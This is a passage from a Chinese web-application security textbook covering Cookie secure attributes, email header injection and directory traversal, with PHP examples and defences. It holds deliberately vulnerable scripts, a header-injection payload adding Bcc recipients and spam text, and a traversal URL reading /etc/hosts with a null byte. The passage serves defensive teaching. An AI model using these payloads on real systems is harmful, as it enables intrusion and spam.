请求观测\n不经过代理的 HTTP 请求无法通过 Fiddler 等代理工具进行观测，观测时可以使用 Wireshark 等嗅探器（抓包软件）。使用嗅探器进行数据包解析的技术方法请参考 Chris Sanders 著的《Wireshark 数据包分析实战》[1]。\n安全隐患的产生原因\nCookie 的安全属性设置不完善的直接原因显而易见，就是没有给 Cookie 设置安全属性，以笔者多年来诊断安全隐患的经验来看，不给 Cookie 设置安全属性的主要原因有如下两类。\n开发者对安全属性毫不知情\n设置安全属性后应用无法运行\n经过本书的学习后，相信第一类原因就能够得到解决。因此，下面我们来主要讲述设置安全属性后应用无法运行的情况。\n什么样的应用程序不能在 Cookie 中设置安全属性\n有些 Web 应用同时使用 HTTP 和 HTTPS，典型例子为电子商务网站。多数电子商务网站中，用户浏览商品页面时使用的是 HTTP 传输，而当用户选择完商品进入支付阶段时使用的则是 HTTPS。图 4-77 即展示了同时使用 HTTP 和 HTTPS 的电子商务网站的页面跳转情况。\n图 4-77 同时使用 HTTP 和 HTTPS 的网站的页面跳转\nWeb 应用中同时使用 HTTP 和 HTTPS 时，为保存会话 ID 的 Cookie 设置安全属性是非常困难的。因为设置了安全属性后，HTTP 传输的页面就无法接收到 Cookie 中的会话 ID，因此也就无法利用会话管理机制。由于使用 HTTP 的网页为了实现购物车等功能也需要利用会话管理机制，因此当前很多使用 HTTPS 的网站都没有设置 Cookie 的安全属性。\n这种情况下，使用令牌是一种行之有效的对策。详情会在稍后讲述。\n对策\n为了解决 Cookie 的安全属性设置不完善这一问题，最直接的对策就是要设置 Cookie 的安全属性。\n给保存会话 ID 的 Cookie 设置安全属性的方法\n在 PHP 中给保存会话 ID 的 Cookie 设置安全属性，只需在 php.ini 中设置如下。\nsession.cookie_secure = On\nApache Tomcat 中使用 HTTPS 传输请求时，会自动给保存会话 ID 的 Cookie 设置安全属性。\n而使用 ASP.NET 时，则需要如下编辑 web.config 文件。\n<configuration>\n <system.web>\n <httpcookies requireSSL=\"true\" />\n </system.web>\n</configuration\n使用令牌的对策\n无法给保存会话 ID 的 Cookie 设置安全属性时，可以采用通过令牌来防止会话劫持的方法。此方法与 4.6.4 节中讲述对策时介绍的方法相同。将保存令牌值的 Cookie 设置安全属性后，HTTP 页面与 HTTPS 页面将会共享会话变量，而即使会话 ID 被窃听，HTTPS 页面也能够防止会话劫持。\n为了给令牌的 Cookie 设置安全属性，这里我们将 /463/46-015.php 按照以下代码进行修改。该脚本中不仅加上了安全属性，同时也设置了 HttpOnly 属性。\n代码清单 /48/48-001.php\n<?php\n// /dev/urandom 通过 /dev/urandom 实现伪随机数生成器\nfunction getToken() {\n $s = file_get_contents('/dev/urandom', false, NULL, 0, 24);\n return base64_encode($s);\n}\n // 假设到这里已经成功通过认证\n session_start();\n session_regenerate_id(true);\n // 重新生成会话 ID\n $token = getToken(); // 生成令牌\n // 生成带有安全属性的令牌 Cookie\n setcookie('token', $token, 0, '', '', true, true);\n $_SESSION['token'] = $token;\n然后再在 HTTPS 的页面上通过以下脚本检验令牌值。内容与 /463/46-016.php 相同。\n代码清单 /48/48-002.php\n<?php\n session_start();\n // 确认用户名【省略】\n // 确认令牌\n $token = $_COOKIE['token'];\n if (! $token || $token != $_SESSION['token']) {\n die('认证错误。令牌值错误。。');\n }\n?>\n<body> 检验令牌，确认通过认证。 </body>\n为了确认上面的脚本，接下来我们使用以下 URL 来浏览页面。\nhttps://example.jp/48/48-001.php\n或者在 /48/ 菜单中点击“3.48-001: 生成令牌（SSL）”链接。这时页面显示如下。\n图 4-78 试验环境中即使出现证书错误也依然可以选择继续访问\n由于虚拟机中无法附带正规证书，因此便导入了自签名证书，这也是出现上图错误信息的原因。而考虑到是虚拟机环境，因此请选择“继续浏览此网站”。关于自签名证书的风险请参考 7.2.3 节。\n图 4-79 校验令牌方式的页面跳转\n下面我们就来在 HTTP（非 SSL）中尝试此页面跳转。在 /48/ 菜单中点击“4.48-001: 生成令牌（非 SSL）”链接。结果为，48-001.php 中显示“认证成功”后，48-002.php 中显示了如下错误消息。\n图 4-80 非 SSL 状态下无法收到令牌\n这是因为，48-001.php 中生成的令牌值被保存到了设置了安全属性的 Cookie 中，因此非 SSL 传输时 48-002.php 就没有收到令牌。也就是说，可以确认安全属性运作正常。\n使用令牌能确保安全性的原因\n即使没有设置安全属性的会话 ID 被窃听，但只要令牌值设置了安全属性并被加密，HTTPS 页面就不会遭到会话劫持。原因如下。\n服务器输出令牌的时机只有一次，即认证成功的时候\n令牌在 HTTPS 的页面被生成（服务器→浏览器）\n令牌被加密后由浏览器发送出去（浏览器→服务器）\n浏览 HTTPS 的页面必须要有令牌\n换言之，令牌值在服务器和浏览器之间传输时都进行了可靠的加密，而浏览 HTTPS 页面时需要的令牌值不可能被第三方得知，因此便确保了安全性。\n除安全属性外其他属性值需要注意的地方\n除了安全属性之外，Cookie 中还有其他会影响安全性的属性。第 3 章中已经介绍了 Cookie 的属性，因此这里将主要介绍保存会话 ID 的 Cookie 的属性。\nDomain 属性\nDomain 属性的默认状态（即不指定的状态）是最安全的。只有在多台服务器中共享 Cookie 时才需要指定 Domain 属性，而一般来说在多台服务器间共享会话 ID 是没有意义的。\n虽然 PHP 中能够指定会话 ID 的 Domain 属性，但是在没有特殊理由的情况下，最好不要指定 Domain 属性。\nPath 属性\nPHP 的会话 ID 默认生成 path=/ 的属性。一般情况下这种设置不会有问题，而如果要针对每个路径生成不同的会话 ID，则可以指定 Path 属性。\n需要注意的是，即使指定了 Path 属性也不会提高安全性。因为 JavaScript 的同源策略是以域名为单位的，而不是以路径为单位。这在 3.2 节中已经做过讲解。\nExpires 属性\n会话 ID 的 Cookie 通常不指定 Expires 属性，即浏览器被关闭的同时 Cookie 也会被删除。设置 Expires 属性后，关闭浏览器后也照样能维持认证状态。详细的使用方法将在 5.1.4 节中讲述。\nHttpOnly 属性\n设置了 HttpOnly 属性的 Cookie 无法通过 JavaScript 访问。但由于 JavaScript 访问会话 ID 并没有什么意义，因此建议每次都给 Cookie 加上 HttpOnly 属性。正如 4.3 节中所介绍的那样，HttpOnly 属性有助于减轻跨站脚本攻击造成的损害，但这并不是根本性的防范策略。\nPHP 中给会话 ID 的 Cookie 设置 HttpOnly 属性，只需如下编辑 php.ini。\nsession.cookie_httponly = On\n总结\n本节讲述了 Cookie 输出的相关问题。其中有两点非常重要的是，原则上仅将 Cookie 用于保存会话 ID，以及使用 HTTP 传输的应用中给 Cookie 设置安全属性。\n参考文献\n[1] Chris Sanders（著）. 诸葛建伟等（译）（2013）.《Wireshark 数据包分析实战》. 人民邮电出版社\n4.9 发送邮件的问题\nWeb 应用通常使用邮件的方式来向用户进行确认或发送通知。而如果邮件发送功能不完善，就可能会导致开放转发第三方邮件，或者邮件内容被篡改等问题。本节就将讲述邮件发送功能中产生的安全隐患。\n4.9.1 发送邮件的问题概要\n与发送邮件相关的问题有如下三项。\n邮件头注入漏洞\n使用 hidden 参数保存收件人信息\n邮件服务器的开放转发（参考）\n邮件头注入漏洞\n邮件头注入是指，通过在邮件消息中的收件人或标题等字段中插入换行符，从而添加新的邮件头字段或篡改邮件正文的攻击手段。招致此类攻击的漏洞即称为邮件头注入漏洞。\n邮件头注入漏洞将于 4.9.2 节详细讲述。\n使用 hidden 参数保存收件人信息\n在一些用来免费发送邮件的表单中，为了便于自定义，有时会将邮件的收件人等信息指定为 hidden 参数（图 4-81）。\n图 4-81 将收件人保存在 hidden 参数中的表单\n通过将 hidden 参数中的收件人更改为任意的邮箱地址，此类表单就能够被用于发送垃圾邮件。因此，收件人邮箱地址等信息不应该被保存在 hidden 参数中，而是应该硬编码在源代码中，或者被保存在服务器上的安全场所（如文件或数据库等）。\n参考：邮件服务器的开放转发\n邮件服务器（Mail Transfer Agent，MTA）的设置如果存在问题，就可能使服务器的角色既非发件人也非收件人，而是被用于转发第三方的邮件（开放转发）。这样的服务器通常会沦落为发送垃圾邮件的工具。然而由于导致这种问题的原因并不是应用程序方面的问题，因此这里只将其作为参考内容介绍给读者。\n图 4-82 转发垃圾邮件的情形\n图 4-82 展示了恶意发送垃圾邮件的情形。图中右侧的服务器（A）由于收到过左侧服务器（X）发过来的垃圾邮件，因此便进行了设置，拒绝接收 X 服务器发来的邮件。而垃圾邮件的发送方随后发现了允许开放转发的邮件服务器（R），于是就利用该服务器发送垃圾邮件。由于经过 R 服务器的邮件并没有被服务器 A 拒绝接收，因此服务器 A 就依然能收到 X 发送的垃圾邮件。\n针对以上问题，现在的邮件服务器软件（MTA）中都默认不允许开放转发，因此只要正确设置邮件服务器就不会出现问题。网络上也有能够检查邮件服务器是否为开放转发的网站，设置完邮件服务器后可以去这些网站确认一下。\n4.9.2 邮件头注入漏洞\n概要\n邮件头注入为，当收件人（To）或标题（Subject）等邮件头由外部指定时，通过使用换行符来添加或更改邮件头或正文的手段。\n邮件头注入漏洞的影响如下。\n标题、发件人或正文被更改\n被用来发送垃圾邮件\n被用来发送病毒邮件\n防范邮件头注入漏洞的方法为，使用专门用来发送邮件的程序库，并执行以下任一操作。\n邮件头中不允许包含外界传入的参数\n通过校验不允许外界传入的参数中包含换行符\n邮件头注入漏洞总览\n攻击手段与影响\n下面我们就来看一下邮件头注入攻击的方法及其造成的影响。\n以下为用来发送邮件的表单。\n代码清单 /49/49-001.html\n<body>\n咨询发送表单 <br>\n<form action=\"49-002.php\" method=\"POST\">\n邮箱地址 :<input type=\"text\" name=\"from\"><br>\n正文 :<textarea name=\"body\">\n</textarea>\n<input type=\"submit\" value=\" 发送 \">\n</form>\n</body>\n然后，使用以下脚本接收表单的值并执行发送邮件的处理。\n代码清单 /49/49-002.php\n<?php\n $from = $_POST['from'];\n $body = $_POST['body'];\n mb_language('Japanese');\n mb_send_mail(\"wasbook@example.jp\", \" 收到咨询信件 \",\n \" 收到了以下用户发来的咨询，请进行处理。\\n\\n\" . $body,\n \"From: \" . $from);\n?>\n<body>\n邮件发送成功\n</body>\nmb_send_mail\n 为支持多字节字符的邮件发送函数，各个参数分别为：收件人地址、标题、正文、附加邮件头。上述脚本中使用了第 4 个参数（附加邮件头）指定发件人（From）地址。\n关于第 4 个参数，官方文档 50\n 中有如下记载。\n50\nhttp://php.net/manual/zh/function.mb-send-mail.php\nadditional_headers 被插入在邮件头的末尾。常用于增加额外的头。通过使用换行符（\"\\n\"）进行分隔，可以指定多个头。\n由此可见，虽然利用换行符就能够指定多个邮件头，但是上述应用中却没有考虑到存在换行符的可能性。而这也是形成安全隐患的直接原因，详情会在之后进行讲述。\n首先我们来看正常情况下的使用实例。在表单的邮箱地址处填入“alice@example.jp”，在正文处填入“请问订单编号为 4309 的交货期限是什么时候”，然后点击发送按钮，邮件就会被发送，如下图所示。\n图 4-83 邮件发送表单\n图 4-84 通过表单发送的邮件（正常情况）\n这里的收件人 wasbook 就相当于处理用户咨询的客服人员。\n接下来，我们就来看一下如何针对此表单实施攻击。\n攻击方式 1：添加收件人\n邮件头注入攻击的第一种方式就是添加收件人。首先我们准备了攻击使用的表单 49-900.html。此表单与 49-001.html 大致相同，只是将邮箱地址输入框改成了能够输入换行符的 textarea 要素，另外，由于假设该网页要被托管在攻击者的网站上，因此这里将 form 元素的 action 属性改成了 URL 的绝对地址。两者的差异如下所示，阴影部分即为不同点。\n代码清单 /49/49-900.html（与 49-001.html 的差异）\n【略】\n<form action=\"http://example.jp/49/\n49-002.php\" method=\"POST\">\n邮箱地址 :<textarea name=\"from\" rows=\"4\" cols=\"30\">\n</textarea>\n<br>\n【略】\n打开该表单所在的网页，然后输入如下图所示的值。\n图 4-85 通过攻击使用的表单发送邮件\n点击页面上的发送按钮后，邮件就会被发送至 bob。以下是 Becky ！中收到邮件的界面。\n图 4-86 除了客服（wasbook）以外 bob 也收到了邮件\n虽然客服（wasbook）也收到了同样的邮件，但由于添加 bob 时使用了 Bcc（密送）的方式，因此客服并不知道该邮件也被发送给了 bob，而且很可能只是认为收到了垃圾邮件而立刻将其删除。\n除了 Bcc，49-002.php 中还能够添加 Cc 或 To（收件人）、Reply-To 等。同样也能添加 Subject（标题），但添加标题后邮件头中就有了两个 Subject，究竟显示哪一个则要取决于所使用的邮件客户端。\n攻击方式 2：篡改正文\n在上面的攻击方式中，正文中还保留了“收到了以下用户发来的咨询……”的信息，因此并没有达到任意更改正文内容的效果。下面我们就使用邮件头注入攻击来尝试更改正文。其实更改正文的方法很简单，只需在邮箱输入框的 From 地址中插入一个空行就能够书写邮件的正文。假设在 49-900.html 的邮箱输入框内输入以下内容。由于使用中文的话需要一些 MIME 的知识，因此此处的例子中我们采用了英语。\ntrap@trap.example.com\nBcc: bob@example.jp\nSuper discount PCs 80% OFF! http://trap.example.com/\n点击发送按钮后，邮件客户端（Foxmail）中就会显示如下。\n图 4-87 在邮箱输入框中输入的内容出现在了正文中\n可以看到添加在 From 字段之后的消息出现在了正文中。\n然而这样的邮件正文会让人感觉很可疑，因此在实际的攻击中，攻击者会使用大量的空行来迷惑用户，或者使用 MIME 来隐藏后面的正文消息。另外还能够添加附件。下面我们就来简单地介绍一下这种方法。\n通过邮件头注入攻击添加附件\n上面说到通过邮件头注入攻击还能够添加附件。下图即为使用 49-002.php 将恶意软件（实际为防病毒软件的测试用文件 51\n ）以附件的形式添加到邮件中的结果。可以看出，正文中使用了中文，原来的正文则被很好地隐藏了起来。\n图 4-88 通过邮件头注入攻击能够添加附件\n攻击的奥秘在于恶意利用了 MIME 的 multipart/mixed 形式。读者们只需在安全隐患试验环境中的 49-901.html 中点击发送按钮就能够亲自体验这一攻击手段。此外，在 http://example.jp/49\n 的菜单中选择“5. 49-901: 咨询表单（通过邮件头注入攻击添加附件）”，也能够轻松地打开该页面。\n但是，如果计算机中安装了防病毒软件，附件就有可能被删除或被替换为别的文件。上面的截图是暂时关闭了防病毒软件后取得的。\n51\n 详情请参考 7.4.4 节。\n安全隐患的产生原因\n要理解邮件头注入漏洞产生的原因，就必须要知道邮件的消息格式。邮件的消息格式与 HTTP 相似，消息头与正文用空行相隔。图 4-89 即为邮件消息的示例。\n消息头52\nTo: wasbook@example.jp\nSubject: =?ISO-2022-JP?B?GyRCTGQkJDlnJG8kOyQsJCIbKEI=?=\n=?ISO-2022-JP?B?GyRCJGokXiQ3JD8bKEI=?=\nFrom: alice@example.jp\nContent-Type: text/plain; charset=ISO-2022-JP\n空行\n正文\n收到了以下用户发来的咨询，请进行处理\n请问发货编号为 4309 的交货期限是什么时候\n图 4-89 邮件的消息格式\n52\n Subject 消息头占了 2 行是因为使用了“续行”。续行的第 2 行以后的行以空格开头。收件人的邮箱地址很长的时候也会用到续行。其实 HTTP 中也定义了续行，但平时几乎不会使用。\nTo 为收件人，Subject 为标题，From 为发件人的邮箱地址。发送邮件时经常使用的 sendmail 命令以及多数发送邮件程序库都会从邮件的消息头中取得发送目标的邮箱地址 53\n 。\n53\n sendmail 命令在默认情况下会以命令参数的形式来指定收件人。而指定了 -t 选项后，收件人的邮箱地址就可以从邮件消息的 To、Cc、Bcc 中取得。\n邮件头注入漏洞产生的主要原因与 HTTP 消息头注入漏洞相似。我们知道，消息头中各字段以换行符隔开，因此，如果能够在外界传入的参数中插入换行符，那么就可以添加新的消息头。下图为在 From 消息头后添加 Bcc 消息头的例子。\n图 4-90 添加 Bcc 消息头\n同样，使用该方法也能够添加正文。\n图 4-91 添加正文\n由此可见，换行符在邮件的消息头中有着特殊的意义，如果应用中没有对换行符做相应的处理，就会给外界以添加或更改消息头和正文的可乘之机。而这也是邮件头注入漏洞产生的原因。尤其是在 CGI 程序中发送邮件时，以前普遍采用自己生成邮件消息并使用 sendmail 命令发送的方法，然而使用这种方法生成邮件消息时是极易被混入安全隐患的。\n对策\n为了消除邮件头注入隐患，首先就要停止使用 sendmail 命令来发送邮件，而是使用专门的程序库。\n使用专门的程序库来发送邮件\n在此基础上，推荐再配合采用以下任一方法。\n不将外界传入的参数包含在邮件头中\n发送邮件时确保外界传入的参数中不包含换行符\n下面我们就来依次讲解上述对策。\n使用专门的程序库来发送邮件\n发送邮件时，相比于自己生成邮件消息，使用专门的程序库更为安全。使用程序库有以下 3 个优点。\n使用 sendmail 命令发送邮件时，邮件消息的生成全部由应用程序方面负责，容易引入漏洞\n调用 sendmail 命令时容易混入 OS 命令注入漏洞（参考 4.11 节）\n理论上专门的程序库中已经做好了邮件头注入漏洞的防范策略\n但是，由于不少专门用于发送邮件的程序库中也被曝出了邮件头注入漏洞 54\n ，因此，除了使用专门的程序库之外，还需要配合执行先前列出的两个对策中的任意一个。\n不将外界传入的参数包含在邮件头中\n只要确保邮件头中不包含外界传入的参数，就能够彻底杜绝邮件头注入漏洞。因此，在应对邮件头注入漏洞时，应该首先考虑这一措施。\n比如在 49-002.php 中，用户输入的邮箱地址被设置为了 From 邮件头，但由于该邮件的发送目标是客服管理员，因此，将 From 消息头固定并在正文中显示用户的邮箱地址，也同样能够达到此表单的目的。\n由此可见，如果可能的话，最好不要在邮件头中包含外界传入的参数。\n发送邮件时确保外界传入的参数中不包含换行符\n如果邮箱地址或标题等允许包含换行符，那么就可能会被添加新的邮件头或正文，从而导致邮件头注入漏洞的产生。由于邮箱地址或标题中本身就不允许包含换行符，所以只需在发送邮件时对换行符进行校验，就可以从根本上防范邮件头注入漏洞。\n具体方法为，不直接调用 mb_send_mail\n 这类发送邮件时使用的程序库函数，而是编写专门用于发送邮件的包装函数 55\n ，并在包装函数中校验换行符。另外，在框架提供的发送邮件功能中嵌入校验换行符的处理也是有效的。\n邮件头注入的辅助性对策\n正如前面所说的那样，邮件头中设置的邮箱地址和标题中本来就不应该包含换行符，而这也应该被包含在输入值校验的范围之内。因此，只要进行了妥善的输入校验，就会有助于防范邮件头注入漏洞。\n校验邮箱地址\n虽然 RFC532256\n 中规定了邮箱地址的格式，但是 RFC 中的规定相当复杂，并非所有的邮件服务器、邮件客户端和 Web 邮箱服务都完全支持 RFC 中的规定。因此，只要在各个项目需求中确定邮箱地址的格式，然后再在程序的输入校验中检查是否符合该格式即可。\n校验标题\n由于标题（Subject 消息头）中没有格式和字符种类的限制，因此只要使用 4.2 节中讲述的“与控制字符以外的字符相匹配”的正则表达式即可。换行符也是控制字符的一种，因此也能被校验到。比如，以下例子中的脚本就是为了确保不包含控制字符并将字符数限制在 1～60。但其前提为内部字符编码为 UTF-8。字符编码不是 UTF-8 时请使用 mb_ereg\n 函数。\nif (preg_match('/\\A[[:^cntrl:]]{1,60}\\z/u', $subject) == 0) {\n die(' 请输入长度为 1-60 字符的标题 ');\n}\n54\n 关于发送邮件时使用的程序库中的邮件头注入漏洞的情况，可以参考佐名木智贵的在线文档“Security of WebAppli&Mail”[2]。\n55\n 包装函数是指，为了更方便地使用函数或功能而编写的简单的函数。由于是在原函数外包裹了一层使其更容易使用，因此被称为包装函数。\n56\nhttp://tools.ietf.org/html/rfc5322\n总结\n本节讲述了与邮件发送功能相关的安全隐患。\n由于多数反馈表单中都会使用发送邮件的功能，因此即便是几乎没有什么功能的应用主页也频频发生与邮件发送功能相关的安全隐患。另外，在网上搜索发送邮件的编程方法时，很容易搜到使用 sendmail 命令这类过时的方法，从而也极易引入安全隐患。\n因此，为了避免引入安全隐患，学习 Web 应用中发送邮件的正确方法至关重要。\n继续深入学习\n为了深入理解与发送邮件相关的安全隐患，对邮件协议（特别是 SMTP）的理解不可或缺。而通过阅读相关的入门书等书籍来学习邮件协议，对解答乱码等问题也很有帮助。\n这里向读者们推荐网野卫二所著的《3 分钟 HTTP& 邮件协议基础讲座》[3] 一书，此书同时也可以被作为 HTTP 的入门书使用。\n邮件程序库中使用 SMTP 与邮件服务器通信的情况下，可能还会发生 SMTP 命令注入攻击。SMTP 命令注入攻击的实例请参考 NTT Communications 公司发表的《关于 .NET Framework 中的 SMTP Command Injection》[1] 一文。在 .NET Framework 中发送邮件时可能会需要用到文章中讲到的防范策略。\n参考文献\n[1] NTT Communications.（2011 年 1 月 11 日）. .NET Framework 上の SMTP Command Injection について（关于 .NET Framework 中的 SMTP Command Injection）. 参考日期：2011 年 1 月 21 日 . 参考网址：/http://www.ntt.com/icto/security/images/sr20110110.pdf\n[2] 佐名木智貴 .（2007 年 3 月 27 日）. Security of WebAppli&Mail\n . 参考日期：2010 年 12 月 11 日 . 参考网址：http://rocketeer.dip.jp/secProg/MailSecurity001.pdf\n[3] 網野衛二 .（2010）.《3 分間 HTTP ＆メールプロトコル基礎講座》（《3 分钟 HTTP& 邮件协议基础讲座》）. 技術評論社 .\n4.10 文件处理相关的问题\nWeb 应用会通过多种多样的形式和文件打交道。而本节的主题就是处理文件时可能产生的 安全隐患。\n在有些 Web 应用中，外界能够通过传入参数的形式来指定服务器中的文件名。比如由外界参数来指定模板文件的情况。这样的 Web 应用可能会招致以下攻击。\n非法访问 Web 服务器内的文件（目录遍历）\n调用 OS 命令（OS 命令注入）\n其中，目录遍历漏洞将在 4.10.1 节中讲述。此外，通过目录遍历攻击有时还能够执行 OS 命令，不过这里我们将此问题归为 OS 命令注入的范畴并在 4.11 节中讲述。\n另外，如果数据文件或配置文件被保存在公开目录中，就可能会被外界浏览而造成信息泄漏。详情将在 4.10.2 节中讲述。\n4.10.1 目录遍历漏洞\n概要\nWeb 应用中允许外界以参数的形式来指定服务器上的文件名时，如果没有对文件名进行充分的校验，就可能会造成意料之外的问题，比如文件被浏览、篡改或删除。该安全隐患被称为目录遍历漏洞。\n目录遍历漏洞会造成以下影响。\n浏览 Web 服务器中的文件\n泄漏重要信息\n篡改或删除 Web 服务器中的文件\n篡改网页内容，散布谣言或恶意诽谤他人\n布下圈套将用户诱导至恶意网站\n删除脚本文件或配置文件导致服务器宕机\n通过篡改脚本文件从而在服务器上执行任意脚本\n目录遍历漏洞的防范策略如下，执行其中一项即可。\n避免由外界指定文件名\n文件名中不允许包含目录名\n限定文件名中仅包含字母和数字\n目录遍历漏洞总览\n攻击手段与影响\n下面我们就来看一下目录遍历攻击的手段与影响。\n以下是能够使用 template= 的形式来指定页面模板文件的脚本。\n代码清单 /4a/4a-001.php\n<?php\n define('TMPLDIR', '/var/www/4a/tmpl/');\n $tmpl = $_GET['template'];\n?>\n<body>\n<?php readfile(TMPLDIR . $tmpl . '.html'); ?>\n菜单（以下略）\n</body>\n常量 TMPLDIR\n 指定的是存放模板文件的目录名。模板文件名由查询字符串中的 template\n 指定，并被赋值到变量 $tmpl\n 中。脚本使用 readfile\n 函数读取模板文件，然后将其原封不动地放到响应信息中。\n下面为模板文件的示例。\n代码清单 /4a/tmpl/spring.html\n你好，已经是春天了呢。<br>\n通过以下 URL 执行脚本就能够读取上述模板文件。\nhttp://example.jp/4a/4a-001.php?template=spring\n图 4-92 示例脚本的执行例\n此时，脚本中被拼接成的文件名如下所示。\n正常情况下拼接成的文件名\n/var/www/4a/tmpl/spring.html\n接下来我们就来看一下如何对其展开攻击。使用以下 URL 执行示例脚本。\nhttp://example.jp/4a/4a-001.php?template=../../../../etc/hosts%00\n图 4-93 显示了 Linux 的配置文件内容\n页面中显示的为 Linux 的配置文件 /etc/hosts 的内容。也就是说，通过目录遍历攻击能够浏览操作系统的配置文件。此时，脚本内被拼接成的文件名如下所示。其中 [NUL]\n 为空字节（字符编码为 0 的字符）57\n 。\n57\n 正如 1. 4.2 节中介绍的那样，空字节在 C 语言中表示字符串的结束。\n攻击时拼接成的文件名\n/var/www/4a/tmpl/../../../../etc/hosts[NUL]\n.html\n由于 ../ 表示上层目录，空字节又会迫使文件名字符串结束，因此，将此文件名标准化后，实际被访问的文件名即为如下内容。\n标准化后的文件名\n/etc/hosts\n因此，最终页面显示的是 etc/hosts 文件的内容。\n由此可见，一旦 Web 应用中存在目录遍历漏洞，攻击者就能够随意访问服务器上的任何文件。\n不过上面的例子仅仅展示了读取文件的情况，其实，依据应用的内部实现，有时还能够进行覆盖或删除文件等操作，从而造成数据被篡改。\n此外，一旦攻击者能够通过目录遍历来编辑 PHP 等脚本文件，就能将编辑后的脚本在 Web 服务器上运行，从而也就相当于能够执行任意脚本。这时攻击造成的影响与 OS 命令注入（参考 4.11 节）相同，即能使计算机下载恶意程序或对系统进行非法操作等。\n专栏：从脚本源码开始的一连串的信息泄漏\n通过目录遍历攻击访问 Web 服务器上的文件时需要知道文件名。虽然 /etc/hosts 是操作系统中固定的文件名，但由于一般来说第三方无法得知存储个人信息等文件的文件名，因此有人就会觉得不会有遭到攻击的风险。\n然而，还有一种攻击手段为，先通过目录遍历攻击查看脚本的源代码，然后再使用 open 语句等来调查被指定文件的文件名。其中，在试验环境的“/4a/ 菜单”中点击“3. 4a-001: 目录遍历（脚本：显示源码）”链接，就能够查看脚本源码。执行后虽然浏览器上不会显示 PHP 的源码，但通过查看 HTML 的源码就能够确认 PHP 脚本。\n安全隐患的产生原因\n当应用满足以下 3 个条件时，就有可能产生目录遍历漏洞。\n外界能够指定文件名\n能够使用绝对路径或相对路径等形式来指定其他目录的文件名\n没有校验是否允许访问拼接后的文件名\n如果从开发者的角度来考虑的话，笔者觉得，漏洞的产生可能是因为开发者没有考虑到“外界能够指定其他目录”的可能性。\n由于目录遍历漏洞的产生需要同时满足以上 3 个条件，因此，只要使其中任意一项无法满足也就能够将漏洞消除。\n对策\n概要中已经简单介绍过消除目录遍历漏洞的方法，即实施以下任一项。\n避免由外界指定文件名\n文件名中不允许包含目录名\n限定文件名中仅包含字母和数字\n下面我们就对以上方法进行详细说明。\n避免由外界指定文件名\n如果能够避免文件名由外界指定，就能从根本上解决目录遍历漏洞。具体方法有如下几种。\n将文件名固定\n将文件名保存在会话变量中\n不直接指定文件名，而是使用编号等方法间接指定\n而至于这些方法的具体操作，此处就不再逐一介绍。\n文件名中不允许包含目录名\n如果文件名中不包括目录名（包括 ../），就能确保应用中只能访问给定目录中的文件，从而也就消除了目录遍历漏洞产生的可能性。\n表示目录的字符 /、\\、: 等因操作系统而异，不同的操作系统应当采用不同的程序库。在 PHP 中则能够使用 basename\n 函数。\nbasename\n 函数会接收带有目录的文件名（也包括 Windows 的盘符），并返回末尾的文件名部分。例如 basename('../../../../etc/hosts')\n 返回的结果即为 hosts。\n利用 basename\n 函数的对策示例如下所示。\n代码清单 /4a/4a-001b.php\n<?php\n define('TMPLDIR', '/var/www/4a/tmpl/');\n $tmpl = basename($_GET['template'])\n;\n?>\n<body>\n<?php readfile(TMPLDIR . $tmpl . '.html'); ?>\n菜单（以下略）\n</body>\n专栏：basename 函数与空字节\nPHP 的 basename\n 函数在处理时不会删除空字节58\n ，因此，即使使用了 basename\n 函数也还是有可能会出现文件扩展名被更改的情况。比如，假设以下脚本中的扩展名被指定为 txt。\n$file = basename($path) . '.txt';\n这时，如果外界传入的文件名为 a.php%00（已经过百分号编码），就会生成如下文件名。\n图 4-94 上述脚本生成的文件名\n然而，由于 Windows 或 Unix 等多数操作系统中都使用 C 语言形式的字符串，因此文件名中有空字节（\\0）时就会被视为文件名结束。这样一来，实际打开的文件就变成了 a.php，应用中指定的 txt 扩展名则被忽略了。\n由此可见，文件名由外界传入的情况下，有必要对文件名进行校验以确保其中不包含空字节。\n限定文件名中仅包含字母和数字\n如果能够限制文件名的字符种类仅为字母和数字，那么用于目录遍历攻击的字符就会无法使用，因此这个方法也能作为目录遍历的防范策略。\n下面我们就来尝试在 4a-001.php 中实施这一方法，如下所示。\n代码清单 /4a/4a-001c.php\n<?php\n define('TMPLDIR', '/var/www/4a/tmpl/');\n $tmpl = $_GET['template'];\n if (! preg_match('/\\A[a-z0-9]+\\z/ui', $tmpl)) {\n die('remplate 仅能指定字母或数字 ');\n }\n?>\n<body>\n<?php readfile(TMPLDIR . $tmpl . '.html'); ?>\n菜单（以下略）\n</body>\n这里通过 preg_match\n 匹配正则表达式确认了文件名变量 $tmpl\n 中仅包含字母和数字。ereg\n 函数由于不能正确处理空字节（非二进制安全），因此不能被用于本方法。详情请参考 4.2 节。\n58\n 确认于 PHP5.3.5。\n总结\n本节讲述了访问文件的处理中容易混入的目录遍历漏洞。解决目录遍历漏洞的最佳方法是不允许外界指定文件名。因此推荐在设计阶段就开始探讨是否能够做到这一点。\n4.10.2 内部文件被公开\n概要\nWeb 服务器的公开目录中有时会放置对外保密的文件。这种情况下，外界一旦得知文件的 URL，就能够浏览这些内部文件。\n内部文件被公开会造成如下影响。\n重要信息被泄漏\n防范内部文件被公开的对策为，不在公开目录中放置内部文件。或者保险起见，也可以直接禁用目录列表功能。这一点在后面会进行详述。\n内部文件被公开总览\n攻击手段与影响\n首先使用以下 URL 浏览本书提供的虚拟机。\nhttp://example.jp/4a/data/\n如下图所示，页面上列出了目录内的所有文件。\n图 4-95 目录内的文件一览\n像上面这样，使用 URL 指定目录名时，页面上会罗列出目录中的所有文件，这一功能就叫作目录列表（Directory Listing）。\n点击页面上的 user.txt 链接，此时页面显示如下。\n图 4-96 文件内容被显示\n如文件名所示，页面上显示了用户信息文件 user.txt 的内容。\n虽然这种攻击的手法很简单，但 2004 年以前发生的 Web 网站泄漏用户个人信息的事件多数都是起因于这种攻击模式。\n安全隐患的产生原因\n导致内部文件被公开的原因为，内部文件被放在了公开目录中。当应用满足以下条件时，放置在公开目录下的文件就能够被外界访问。\n文件被放置在公开目录中\n有方法得知访问文件的 URL\n没有对文件设置访问权限\n其中，得知访问文件的 URL 的手段有如下几种。\n目录列表功能被设为有效\n文件名为日期、用户名或连续数值等能够被推测的值\nuser.dat、data.txt 等常见文件名\n通过错误消息或其他安全隐患而得知文件名\n被外部网站链接进而被搜索引擎收录\nApache 中可以设置 httpd.conf 或 .htaccess 